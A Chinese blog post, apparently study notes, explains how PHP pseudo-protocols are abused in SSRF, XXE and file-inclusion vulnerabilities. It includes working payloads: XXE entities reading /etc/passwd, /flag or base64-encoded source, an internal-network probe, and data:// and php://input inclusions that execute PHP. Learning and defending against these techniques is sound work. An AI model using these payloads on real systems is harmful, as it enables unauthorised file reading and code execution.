漏洞中的伪协议异同

PHP 中的封装协议(伪协议)

    file:///var/www/html 访问本地文件系统

    ftp://<login>:<password>@<ftpserveraddress> 访问 FTP(s) URLs

    data:// 数据流

    http:// — 访问 HTTP(s) URLs

    ftp:// — 访问 FTP(s) URLs

    php:// — 访问各个输入/输出流

    zlib:// — 压缩流

    data:// — Data (RFC 2397)

    glob:// — 查找匹配的文件路径模式

    phar:// — PHP Archive

    ssh2:// — Secure Shell 2

    rar:// — RAR

    ogg:// — Audio streams

    expect:// — 处理交互式的流

SSRF下的伪协议

SSRF(Server-Side Request Forgery:服务器端请求伪造)

是一个由攻击者构造请求,在目标服务端执行的一个安全漏洞。攻击者可以利用该漏洞使服务器端向攻击者构造的任意域发出请求,目标通常是从外网无法访问的内部系统。简而言之就是以服务器的身份来执行请求。

file:// 协议
用于访问本地文件系统。

file:///etc/passwd
file:///var/www/html/flag.php

http/s协议
探测内网主机存活

以此为例

?url=http://127.0.0.1

SSRF漏洞学习

XXE下的伪协议

任意文件读取

file:协议

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE note [
      <!ENTITY admin SYSTEM "file:///flag">
      ]>

php://协议

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a[
	<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
]>
<c>&test</c>

内网探测

http://

<?xml version = "1.0"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "http://192.168.1.1:80/">
]>
<x>&f;</x>

file协议

<?xml version="1.0"?>
<!DOCTYPE a[
    <!ENTITY b SYSTEM "file:///etc/hosts">
]>

<user><username>&b;</username><password>admin</password></user>


/etc/hosts
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
/proc/net/fib_trie

XXE漏洞学习 

文件包含下的伪协议

file:// 

本地文件传输协议,File协议主要用于访问本地计算机中的文件

file:///etc/passwd	

 php://input

php://input是个可以访问请求的原始数据的只读流

allow_url_include = On。

对 allow_url_fopen 不做要求。

file=php://input	



用post方式提交数据

 filter:

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用

 

 例:

php://filter/read=convert.base64-encode/resource=flag.php以base64编码将内容输出

zip

php 版本大于等于 php5.3.0

若是使用相对路径,则会包含失败。

协议原型:zip://archive.zip(压缩包名称)#dir/file.txt(压缩文件名称)

注意 url 编码,因为这个 # 会和 url 协议中的 # 冲突(%23)

file=zip://绝对路径/压缩包名字%23压缩文件名字 

 data

    ?file=data:text/plain,<?php phpinfo();?>
 
    ?file=data:text/plain;base64,base64编码的payload

phar 

phar:// 数据流包装器。 可以将多个文件归入一个本地文件夹,也可以包含一个文件

大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://zlib://php://

文件包含漏洞&伪协议

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值